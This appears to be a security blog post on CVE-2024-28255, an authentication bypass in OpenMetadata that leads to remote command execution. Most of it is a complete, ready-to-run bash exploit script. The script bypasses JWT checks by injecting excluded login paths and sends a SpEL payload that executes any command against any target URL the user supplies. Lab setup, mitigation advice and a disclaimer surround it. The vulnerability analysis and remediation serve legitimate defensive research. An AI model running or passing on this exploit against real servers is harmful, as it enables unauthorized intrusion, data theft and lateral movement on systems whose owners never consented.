Introduction
This blog delves into CVE-2024-28255, a critical authentication bypass vulnerability affecting OpenMetadata versions prior to 1.2.4. We'll dissect the technical details, explore the exploitation approach, and provide remediation strategies for security professionals.
Technical Breakdown
CVE-2024-28255 exploits a flaw within the JwtFilter component of OpenMetadata, responsible for handling JWT (JSON Web Token) based authentication for API requests. The vulnerability lies in how the filter validates incoming JWTs against a predefined exclusion list for specific endpoints (e.g., login, registration).
Exploitation Mechanism
Crafting the Malicious Request: An attacker constructs a crafted request containing an arbitrary path parameter appended to a legitimate endpoint. This manipulation aims to trick the JwtFilter into bypassing JWT validation.
Exploiting the Exclusion Logic: The crafted path parameter leverages how the JwtFilter checks the request path against the exclusion list. The attacker aims to include a string within the path that unintentionally matches a pattern within an excluded endpoint. For example, appending ";v1/users/login" to a valid endpoint might bypass validation due to a pattern match with the "/v1/users/login" exclusion entry.
Unauthenticated Access: By successfully bypassing JWT validation, the attacker gains unauthorized access to any OpenMetadata API endpoint, including those potentially vulnerable to further exploitation (e.g., SpEL injection).
Proof of Concept
To build a lab for this PoC, we can use the docker compose file published in OpenMetadata's documentation at https://github.com/open-metadata/OpenMetadata/releases/download/1.2.3-release/docker-compose.yml (vulnerable version).
To build the environment, just run this docker command:
docker-compose up
This will download the images and run the containers hosting the vulnerable version of OpenMetadata server. Once the server is ready, it should be accessible at localhost:8585, we can use the default credentials (admin/admin) to login as well.
Before we run the exploit script to execute some commands on the server, we can get a bash shell inside openmetadata_ingestion's container to make sure /tmp/ directory is empty at the moment.
docker exec -it <openmetadata_ingestion_container_id> bash
ls /tmp/
Now we can use the following bash script to exploit CVE-2024-28255 and create a file called pwn in /tmp/ directory of the running server:
#!/bin/bash
# Function to validate the target URL format
validate_target_url() {
local url="$1"
local regex='^https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/.*)?$'
if [[ ! "$url" =~ $regex ]]; then
echo "Invalid URL format."
exit 1
fi
echo "$(echo "$url" | grep -oP '^https?://[a-zA-Z0-9.-]+(:[0-9]+)?')"
}
# Main execution function
run_exploit() {
local target_url=""
local command=""
# Parse command line arguments
while [[ "$#" -gt 0 ]]; do
case "$1" in
--target) target_url="$2"; shift ;;
--cmd) command="$2"; shift ;;
*) echo "Unknown parameter passed: $1"; exit 1 ;;
esac
shift
done
if [[ -z "$target_url" || -z "$command" ]]; then
echo "Usage: $0 --target <target_url> --cmd <command>"
exit 1
fi
# Validate the target URL
target_url=$(validate_target_url "$target_url")
# Step 1: Initial availability check
local check_endpoint="${target_url}/api/v1/events/subscriptions/validation/condition/1234"
local response=$(curl -s -w "%{http_code}" "$check_endpoint")
local status_code=${response: -3}
local body=${response:0:${#response}-3}
if [[ "$status_code" -eq 401 && "$body" == *"Not Authorized! Token not present"* ]]; then
echo "[+] Initial availability check passed."
else
echo "[-] Initial availability check failed."
if [[ "$status_code" -eq 400 ]]; then
exit 1
fi
exit 1
fi
# Step 2: Perform the exploitation
local encoded_command=$(echo -n "$command" | base64)
echo "[+] Command to execute: $command (Base64: $encoded_command)"
local crafted_payload="T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"${encoded_command}\")))"
echo "[+] Payload crafted: $crafted_payload"
local url_encoded_payload=$(echo -n "$crafted_payload" | jq -sRr @uri)
local paths_to_skip=(
'/v1/users/login'
'/v1/users/signup'
'/v1/users/registrationConfirmation'
'/v1/users/resendRegistrationToken'
'/v1/users/generatePasswordResetLink'
'/v1/users/password/reset'
'/v1/users/checkEmailInUse'
'/v1/users/refresh'
'/v1/system/config'
'/v1/system/version'
)
for path in "${paths_to_skip[@]}"; do
local exploit_endpoint="${target_url}/api/v1;v1$(echo -n "$path" | jq -sRr @uri)/events/subscriptions/validation/condition/${url_encoded_payload}"
echo "[+] Checking URL: $exploit_endpoint"
response=$(curl -s -w "%{http_code}" "$exploit_endpoint")
status_code=${response: -3}
body=${response:0:${#response}-3}
if [[ "$status_code" -ne 401 && "$body" != *"Not Authorized! Token not present"* ]]; then
echo "[+] Command executed successfully."
exit 0
fi
done
echo "[-] Exploitation unsuccessful. Exiting..."
}
# Execute the main function
run_exploit "$@"
Here's how the above script works:The script parses command-line arguments using a while loop and case statement to extract the target URL and the command to execute on the target server.
It calls the validate_target_url function to ensure that the provided target URL is in the correct format. If the URL format is invalid, the script exits with an error message.
It performs an initial availability check by sending a GET request to a specific endpoint on the target server. It checks if the response contains a 401 status code and a specific error message indicating that the token is not present. If the check is successful, the script proceeds; otherwise, it exits.
The command provided by the user is base64 encoded to prepare it for execution on the target server.
A payload is crafted using Java code to execute the base64 decoded command.
The payload is URL encoded to ensure it can be included in the exploit URL.
The script iterates over a list of paths to skip and constructs exploit URLs by appending the encoded payload to each path. It sends a GET request to each exploit URL.
If the response does not contain a 401 status code and does not include the error message indicating token absence, it assumes that the command has been successfully executed on the target server and exits.
We can execute the script by running:
./exploit.sh --target http://localhost:8585 --cmd "touch /tmp/pwn"
Let's check if it has successfully exploited and created the pwn file in /tmp/ directory using the bash shell we already have:
Potential Impact
A successful exploit of CVE-2024-28255 can have severe consequences:
Unauthorized Access to Sensitive Data: Attackers can access sensitive information stored within the OpenMetadata platform, including user data, access controls, or metadata about critical assets.
Lateral Movement and Privilege Escalation: Gaining unauthorized access can serve as a stepping stone for attackers to move laterally within the network and potentially escalate privileges to compromise higher-level systems.
Disruption of Operations: Attackers might disrupt functionalities within OpenMetadata, impacting data discovery, governance, or lineage tracking capabilities.
Mitigation Strategies
Swift action is crucial to address CVE-2024-28255:
Upgrade to OpenMetadata 1.2.4 or Later: The official patch from the OpenMetadata team addresses the vulnerability by implementing stricter validation within the JwtFilter to prevent path parameter manipulation.
Review JWT Exclusion List: Carefully review the JWT exclusion list within your OpenMetadata deployment and ensure it only includes necessary non-authenticated endpoints. Remove any overly broad exclusions that might be vulnerable to bypass attempts.
Implement Additional Security Measures: Consider implementing additional security measures like rate limiting or IP-based access restrictions to further harden your OpenMetadata environment.
Educate Users on Secure Practices: Educate users on secure practices, such as avoiding untrusted sources and maintaining strong passwords, to minimize the risk of social engineering attacks that could be leveraged alongside this vulnerability.
Conclusion
CVE-2024-28255 highlights the importance of proper access control mechanisms within API-driven platforms like OpenMetadata. By understanding the vulnerability, implementing the outlined mitigation strategies, and maintaining a proactive security posture, organizations can effectively safeguard their OpenMetadata deployments.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-28255 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.